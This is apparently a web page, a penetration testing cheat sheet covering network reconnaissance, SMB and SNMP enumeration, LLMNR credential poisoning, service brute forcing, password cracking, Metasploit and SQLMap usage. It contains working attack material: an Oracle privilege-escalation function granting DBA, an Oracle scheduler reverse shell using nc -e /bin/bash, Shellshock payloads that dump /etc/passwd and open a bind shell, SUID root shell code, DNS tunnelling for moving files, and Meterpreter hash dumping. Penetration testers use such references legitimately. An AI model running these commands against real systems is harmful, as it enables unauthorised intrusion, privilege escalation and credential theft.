Pen Testing Tools Cheat Sheet ∞

highon.coffee/blog/penetration-testing-tools-cheat-sheet

Introduction
Penetration testing tools cheat sheet, a quick reference high level overview for typical
penetration testing engagements. Designed as a quick reference cheat sheet providing a
high level overview of the typical commands used during a penetration testing engagement.
For more in depth information I’d recommend the man file for the tool, or a more specific pen
testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application
penetration testing is not covered here apart from a few SQLMap commands at the end and
some web server enumeration. For Web Application Penetration Testing, check out the Web
Application Hackers Hand Book, it is excellent for both learning and reference.

If I’m missing any pen testing tools here give me a nudge on twitter.

Changelog

16/09/2020 - fixed some formatting issues. 17/02/2017 - Article updated, added loads more
content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.

Introduction
Changelog
Vulnerability Assessment
BOF / Exploit
Simple Local Web Servers
Mounting File Shares
HTTP / HTTPS Webserver Enumeration
Packet Inspection
Passwords
Wordlists
Windows Penetration Testing Commands
Linux Penetration Testing Commands
Reverse Shells
Meterpreter Cheat Sheet
ASCII Table Cheat Sheet
CISCO IOS Commands
SQLMap Examples

Pre-engagement
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Network Configuration

Set IP Address

ifconfig eth0 xxx.xxx.xxx.xxx/24

Subnetting

ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0

OSINT

Passive Information Gathering

DNS
WHOIS enumeration

whois domain-name-here.com

Perform DNS IP Lookup

dig a domain-name-here.com @nameserver

Perform MX Record Lookup

dig mx domain-name-here.com @nameserver

Perform Zone Transfer with DIG

dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

Command Description
nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer

dig axfr blah.com @ns1.blah.com Linux DNS zone transfer

Email
Simply Email

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Use Simply Email to enumerate all the online places (github, target site etc), it works better if
you use proxies or set long throttle times so google doesn’t think you’re a robot and make
you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing

Manual finger printing / banner grabbing.

Command Description

nc -v 192.168.1.1 25 Basic versioning / finger printing via displayed banner

telnet 192.168.1.1 25

Banner grabbing with NC

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

Active Information Gathering

DNS Bruteforce
DNSRecon
DNS Enumeration Kali - DNSRecon

root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Port Scanning
Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

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 Command Description

nmap -v -sS -A -T4 target Nmap verbose scan, runs syn stealth, T4 timing (should
be ok on LAN), OS and service version info, traceroute
and scripts against services

nmap -v -sS -p--A -T4 As above but scans all TCP ports (takes a lot longer)
target

nmap -v -sU -sS -p- -A - As above but scans all TCP ports and UDP scan (takes
T4 target even longer)

nmap -v -p 445 -- Nmap script to scan for vulnerable SMB servers -

script=smb-check-vulns WARNING: unsafe=1 may cause knockover
--script-args=unsafe=1
192.168.1.X

ls Search nmap scripts for keywords

/usr/share/nmap/scripts/*
| grep ftp

I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4
commands on external pen tests (when using an Internet connection), you’re probably better
off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an
internal pen test, over low latency links with plenty of bandwidth. But it all depends on the
target devices, embeded devices are going to struggle if you T4 / T5 them and give
inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan
for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning

nmap -sU TARGET

UDP Protocol Scanner

git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt

Other Host Discovery

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Other methods of host discovery, that don’t use nmap…

Command Description

netdiscover -r Discovers IP, MAC Address and MAC vendor on the subnet from ARP,
192.168.1.0/24 helpful for confirming you're on the right VLAN at $client site

Enumeration & Attacking Network Services

Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration
SMB Enumeration Tools

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

Command Description

nbtscan Discover Windows / Samba servers on subnet, finds Windows MAC

192.168.1.0/24 addresses, netbios name and discover client workgroup / domain

enum4linux -a Do Everything, runs all options (find windows client domain /

target-ip workgroup) apart from dictionary based share name guessing

Fingerprint SMB Version

smbclient -L //192.168.1.100

Find open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args

smbuser=username,smbpass=password -p445 192.168.1.0/24

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254

python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

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RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid

Manual Null session testing:

Windows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131

NBTScan unixwiz

Install on Kali rolling:

apt-get install nbtscan-unixwiz

nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git

python Responder.py -i local-ip -I eth0

Run Responder.py for the whole engagement

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Run Responder.py for the length of the engagement while you're working on other attack
vectors.

SNMP Enumeration Tools

A number of SNMP enumeration tools.

Fix SNMP output values so they are human readable:

apt-get install snmp-mibs-downloader download-mibs

echo "" > /etc/snmp/snmp.conf

Command Description
snmpcheck -t 192.168.1.X -c public SNMP enumeration
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f

snmpenum -t 192.168.1.X

onesixtyone -c names -i hosts

SNMPv3 Enumeration Tools

Idenitfy SNMPv3 servers with nmap:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration
process for SNMPv3:

apt-get install snmp snmp-mibs-downloader

wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

Use Metasploits Wordlist

Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for
newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing
list!).

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added
for completeness or manual confirmation:

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RSH Enumeration
RSH Run Commands

rsh <target> <command>

Metasploit RSH Login Scanner

auxiliary/scanner/rservices/rsh_login

rusers Show Logged in Users

rusers -al 192.168.2.1

rusers scan whole Subnet

rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

finger @TARGET-IP

Finger a Specific Username

finger batman@TARGET-IP

Solaris bug that shows all logged in users:

finger 0@host

SunOS: RPC services allow user enum:

$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost

rwho

Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

testssl.sh
Test all the things on a single host and output to a .html file:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Vulnerability Assessment

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Install OpenVAS 8 on Kali Rolling:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

Verify openvas is running using:

netstat -tulpn

Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle

Install oscanner:

apt-get install oscanner

Run oscanner:

oscanner -s 192.168.1.200 -P 1521

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET

nmap --script=oracle-tns-version

Brute force oracle user accounts

Identify default Oracle accounts:

nmap --script=oracle-sid-brute
nmap --script=oracle-brute

Run nmap scripts against Oracle TNS:

nmap -p 1521 -A TARGET

Oracle Privilege Escalation

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Requirements:

Oracle needs to be exposed on the network

A default account is in use like scott

Quick overview of how this works:

1. Create the function

2. Create an index on table SYS.DUAL
3. The index we just created executes our function SCOTT.DBA_X
4. The function will be executed by SYS user (as that’s the user that owns the table).
5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another
default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:

nmap --script=oracle-sid-brute
nmap --script=oracle-brute

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:

SQL> select * from session_privs;

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic

authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;

Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));

Run the exploit with a select query:

SQL> Select * from session_privs;

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

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Remove the exploit using:

drop index exploit_1337;

Get Oracle Reverse os-shell:

begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;

MSSQL

Enumeration / Discovery:

Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping

Use MS SQL Servers Browse For More

Try using "Browse for More" via MS SQL Server Management Studio

Bruteforce MSSQL Login

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Network

Plink.exe Tunnel
PuTTY Link tunnel

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

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Pivoting

SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

Operating System TTL Size

Windows 128

Linux 64

Solaris 255

Cisco / Network 255

IPv4 Cheat Sheets

Classful IP Ranges

E.g Class A,B,C (depreciated)

Class IP Address Range

Class A IP Address Range 0.0.0.0 - 127.255.255.255

Class B IP Address Range 128.0.0.0 - 191.255.255.255

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 Class IP Address Range

Class C IP Address Range 192.0.0.0 - 223.255.255.255

Class D IP Address Range 224.0.0.0 - 239.255.255.255

Class E IP Address Range 240.0.0.0 - 255.255.255.255

IPv4 Private Address Ranges

Class Range

Class A Private Address Range 10.0.0.0 - 10.255.255.255

Class B Private Address Range 172.16.0.0 - 172.31.255.255

Class C Private Address Range 192.168.0.0 - 192.168.255.255

127.0.0.0 - 127.255.255.255

IPv4 Subnet Cheat Sheet

Subnet cheat sheet, not really realted to pen testing but a useful reference.

CIDR Decimal Mask Number of Hosts

/31 255.255.255.254 1 Host

/30 255.255.255.252 2 Hosts

/29 255.255.255.249 6 Hosts

/28 255.255.255.240 14 Hosts

/27 255.255.255.224 30 Hosts

/26 255.255.255.192 62 Hosts

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CIDR Decimal Mask Number of Hosts

/25 255.255.255.128 126 Hosts

/24 255.255.255.0 254 Hosts

/23 255.255.254.0 512 Host

/22 255.255.252.0 1022 Hosts

/21 255.255.248.0 2046 Hosts

/20 255.255.240.0 4094 Hosts

/19 255.255.224.0 8190 Hosts

/18 255.255.192.0 16382 Hosts

/17 255.255.128.0 32766 Hosts

/16 255.255.0.0 65534 Hosts

/15 255.254.0.0 131070 Hosts

/14 255.252.0.0 262142 Hosts

/13 255.248.0.0 524286 Hosts

/12 255.240.0.0 1048674 Hosts

/11 255.224.0.0 2097150 Hosts

/10 255.192.0.0 4194302 Hosts

/9 255.128.0.0 8388606 Hosts

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 CIDR Decimal Mask Number of Hosts

/8 255.0.0.0 16777214 Hosts

VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

git clone https://github.com/nccgroup/vlan-hopping.git

chmod 700 frogger.sh
./frogger.sh

VPN Pentesting Tools

Identify VPN servers:

./udp-protocol-scanner.pl -p ike TARGET(s)

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

1. Identify VPN Servers

2. Enumerate with IKEForce to obtain the group ID

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 3. Use ike-scan to capture the PSK hash from the IKE endpoint
4. Use psk-crack to crack the hash

Step 1: Idenitfy IKE Servers

./udp-protocol-scanner.pl -p ike SUBNET/24

Step 2: Enumerate group name with IKEForce

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Step 3: Use ike-scan to capture the PSK hash

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Step 4: Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

Some more advanced psk-crack options below:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --
charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-
207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S)

PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling
Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to
and from the target machine.

Attacking Machine

Installtion:

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apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Run dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Target Machine:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-
powershell/

dnscat --host <dnscat server_ip>

BOF / Exploit

Exploit Research
Find exploits for enumerated hosts / services.

Command Description
searchsploit windows 2003 | Search exploit-db for exploit, in this example
grep -i local windows 2003 + local esc

site:exploit-db.com exploit Use google to search exploit-db.com for exploits

kernel <= 3

grep -R "W7" Search metasploit modules using grep - msf

/usr/share/metasploit-framework search sucks a bit
/modules/exploit/windows/*

Searching for Exploits

Install local copy of exploit-db:

searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local

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Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe
http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)

gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo

\$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p

9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock reverse Shell

nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking
machine.

Command Description

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 Command Description

python -m SimpleHTTPServer 80 Run a basic http server, great for serving up

shells etc

python3 -m http.server Run a basic Python3 http server, great for

serving up shells etc

ruby -rwebrick -e Run a ruby webrick basic http server

"WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot =>
Dir.pwd).start"

php -S 0.0.0.0:80 Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

Command Description

mount Mount NFS share to /mnt/nfs

192.168.1.1:/vol/share
/mnt/nfs

mount -t cifs -o Mount Windows CIFS / SMB share on Linux at

username=user,password=pass /mnt/cifs if you remove password it will prompt on the
,domain=blah CLI (more secure as it wont end up in bash_history)
//192.168.1.X/share-name
/mnt/cifs

net use Z: \\win- Mount a Windows share on Windows from the

server\share password command line
/user:domain\janedoe
/savecred /p:no

apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing
SMB shares

HTTP / HTTPS Webserver Enumeration

Command Description

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 Command Description
nikto -h 192.168.1.1 Perform a nikto scan against target

dirbuster Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

Command Description
tcpdump tcp port 80 -w tcpdump for port 80 on interface eth0, outputs to
output.pcap -i eth0 output.pcap

Username Enumeration
Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

Command Description
python /usr/share/doc/python-impacket- Enumerate users from SMB
doc/examples
/samrdump.py 192.168.XXX.XXX

ridenum.py 192.168.XXX.XXX 500 50000 RID cycle SMB / enumerate users

dict.txt from SMB

SNMP User Enumeration

Command Description
snmpwalk public -v1 192.168.X.XXX 1 Enmerate users from SNMP
|grep 77.1.2.25
|cut -d” “ -f4

python /usr/share/doc/python-impacket- Enmerate users from SNMP

doc/examples/
samrdump.py SNMP 192.168.X.XXX

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 Command Description

nmap -sT -p 161 192.168.X.XXX/254 -oG Search for SNMP servers with nmap,
snmp_results.txt grepable output
(then grep)

Passwords

Wordlists

Command Description
/usr/share/wordlists Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

Command Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f Hydra FTP brute force
192.168.X.XXX ftp -V

Hydra POP3 Brute Force

Command Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f Hydra POP3 brute force
192.168.X.XXX pop3 -V

Hydra SMTP Brute Force

Command Description
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX Hydra SMTP brute
smtp -V force

Use -t to limit concurrent connections, example: -t 15

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Password Cracking
Password cracking penetration testing tools.

John The Ripper - JTR

Command Description
john --wordlist=/usr/share/wordlists/rockyou.txt JTR password cracking
hashes

john --format=descrypt --wordlist JTR forced descrypt

/usr/share/wordlists/rockyou.txt hash.txt cracking with wordlist

john --format=descrypt hash --show JTR forced descrypt brute

force cracking

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing
commands, useful for local system enumeration.

Compiling Exploits
Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Command Description
process.h, string.h, winbase.h, windows.h, winsock2.h Windows exploit code

arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, Linux exploit code

sys/sockt.h, sys/types.h, unistd.h

Build Exploit GCC

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Compile exploit gcc.

Command Description
gcc -o exploit exploit.c Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Command Description
gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

Command Description
i586-mingw32msvc-gcc exploit.c -lws2_32 -o Compile windows .exe on
exploit.exe Linux

SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the
UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}

SUID C Shell for /bin/sh

int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}

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Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands
like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

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!sh

Metasploit Cheat Sheet

A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting
techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Command Description
set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload

Windows VNC Meterpreter payload

Command Description
set payload windows/vncinject/reverse_tcp Meterpreter Windows VNC Payload
set ViewOnly false

Linux Reverse Meterpreter payload

Command Description
set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Command Description
upload file c:\\windows Meterpreter upload file to Windows target

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 Command Description

download Meterpreter download file from Windows target

c:\\windows\\repair\\sam /tmp

download Meterpreter download file from Windows target

c:\\windows\\repair\\sam /tmp

execute -f Meterpreter run .exe on target - handy for executing

c:\\windows\temp\exploit.exe uploaded exploits

execute -f cmd -c Creates new channel with cmd shell

ps Meterpreter show processes

shell Meterpreter get shell on the target

getsystem Meterpreter attempts priviledge escalation the target

hashdump Meterpreter attempts to dump the hashes on the

target

portfwd add –l 3389 –p 3389 – Meterpreter create port forward to target machine
r target

portfwd delete –l 3389 –p Meterpreter delete port forward

3389 –r target

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

Command Description
use MS08_067 Windows 2k, XP, 2003 Remote
exploit/windows/smb/ms08_067_netapi Exploit

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Command Description

use MS08_040 Windows NT, 2k, XP, 2003

exploit/windows/dcerpc/ms06_040_netapi Remote Exploit

use exploit/windows/smb/ MS09_050 Windows Vista SP1/SP2 and

ms09_050_smb2_negotiate_func_index Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

Command Description
use Bypass UAC on Windows 7 + Set target + arch,
exploit/windows/local/bypassuac x86/64

Auxilary Metasploit Modules

Command Description

use auxiliary/scanner/http/dir_scanner Metasploit HTTP directory scanner

use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS vulnerability scanner

use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner

use auxiliary/scanner/mysql/mysql_version Metasploit MSSQL Version Scanner

use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

Metasploit Powershell Modules

Command Description
use exploit/multi/script/web_delivery Metasploit powershell payload
delivery module

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 Command Description

post/windows/manage/powershell/exec_powershell Metasploit upload and run

powershell script through a
session

use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy

use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

Command Description
run post/windows/gather/win_privs Metasploit show privileges of current
user

use post/windows/gather/credentials/gpp Metasploit grab GPP saved

passwords

load mimikatz -> wdigest Metasplit load Mimikatz

run Idenitfy other machines that the

post/windows/gather/local_admin_search_enum supplied domain user has
administrative access to

run post/windows/gather/smart_hashdump Automated dumping of sam file, tries

to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to
communicate with NASA.

ASCII Character

x00 Null Byte

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ASCII Character

x08 BS

x09 TAB

x0a LF

x0d CR

x1b ESC

x20 SPC

x21 !

x22 "

x23 #

x24 $

x25 %

x26 &

x27 `

x28 (

x29 )

x2a *

x2b +

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ASCII Character

x2c ,

x2d -

x2e .

x2f /

x30 0

x31 1

x32 2

x33 3

x34 4

x35 5

x36 6

x37 7

x38 8

x39 9

x3a :

x3b ;

x3c <

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ASCII Character

x3d =

x3e >

x3f ?

x40 @

x41 A

x42 B

x43 C

x44 D

x45 E

x46 F

x47 G

x48 H

x49 I

x4a J

x4b K

x4c L

x4d M

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ASCII Character

x4e N

x4f O

x50 P

x51 Q

x52 R

x53 S

x54 T

x55 U

x56 V

x57 W

x58 X

x59 Y

x5a Z

x5b [

x5c \

x5d ]

x5e ^

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ASCII Character

x5f _

x60 `

x61 a

x62 b

x63 c

x64 d

x65 e

x66 f

x67 g

x68 h

x69 i

x6a j

x6b k

x6c l

x6d m

x6e n

x6f o

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 ASCII Character

x70 p

x71 q

x72 r

x73 s

x74 t

x75 u

x76 v

x77 w

x78 x

x79 y

x7a z

CISCO IOS Commands

A collection of useful Cisco IOS commands.

Command Description
enable Enters enable mode

conf t Short for, configure terminal

(config)# interface fa0/0 Configure FastEthernet 0/0

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Command Description

(config-if)# ip addr 0.0.0.0 Add ip to fa0/0

255.255.255.255

(config-if)# ip addr 0.0.0.0 Add ip to fa0/0

255.255.255.255

(config-if)# line vty 0 4 Configure vty line

(config-line)# login Cisco set telnet password

(config-line)# password YOUR-PASSWORD Set telnet password

# show running-config Show running config loaded in

memory

# show startup-config Show sartup config

# show version show cisco IOS version

# show session display open sessions

# show ip interface Show network interfaces

# show interface e0 Show detailed interface info

# show ip route Show routes

# show access-lists Show access lists

# dir file systems Show available files

# dir all-filesystems File information

# dir /all SHow deleted files

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 Command Description

# terminal length 0 No limit on terminal output

# copy running-config tftp Copys running config to tftp server

# copy running-config startup-config Copy startup-config to running-config

Cryptography

Hash Lengths

Hash Size

MD5 Hash Length 16 Bytes

SHA-1 Hash Length 20 Bytes

SHA-256 Hash Length 32 Bytes

SHA-512 Hash Length 64 Bytes

Hash Examples
Likely just use hash-identifier for this but here are some example hashes:

Hash Example

MD5 Hash Example 8743b52063cd84097a65d1633f5c74f5

MD5 $PASS:$SALT 01dfae6e5d4d90d9892622325959afbe:7050461

Example

MD5 $SALT:$PASS f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1 Hash Example b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $PASS:$SALT 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

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 Hash Example

SHA1 $SALT:$PASS cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

SHA-256 127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935

SHA-256 $PASS:$SALT c73d08de890479518ed60cf670d17faa26a4a7

1f995c1dcc978165399401a6c4

SHA-256 $SALT:$PASS eb368a2dfd38b405f014118c7d9747fcc97f4

f0ee75c05963cd9da6ee65ef498:560407001617

SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f

SHA-512 $PASS:$SALT e5c3ede3e49fb86592fb03f471c35ba13e8

d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd

SHA-512 $SALT:$PASS 976b451818634a1e2acba682da3fd6ef

a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a

NTLM Hash Example b4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples
A mini SQLMap cheat sheet:

Command Description
sqlmap -u http://meh.com --forms -- Automated sqlmap scan
batch --crawl=10
--cookie=jsessionid=54321 --level=5 -
-risk=3

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Command Description

sqlmap -u TARGET -p PARAM -- Targeted sqlmap scan

data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db
--passwords
--file-read="/var/www/blah.php"

sqlmap -u "http://meh.com/meh.php? Scan url for union + error based injection

id=1" with mysql backend
--dbms=mysql --tech=U --random-agent and use a random user agent + database
--dump
dump

sqlmap -o -u "http://meh.com/form/" - sqlmap check form for injection

-forms

sqlmap -o -u "http://meh/vuln-form" - sqlmap dump and crack hashes for table

-forms users on database-name.
-D database-name -T users --dump

Category Post Name

cheat-sheet Nikto Cheat Sheet

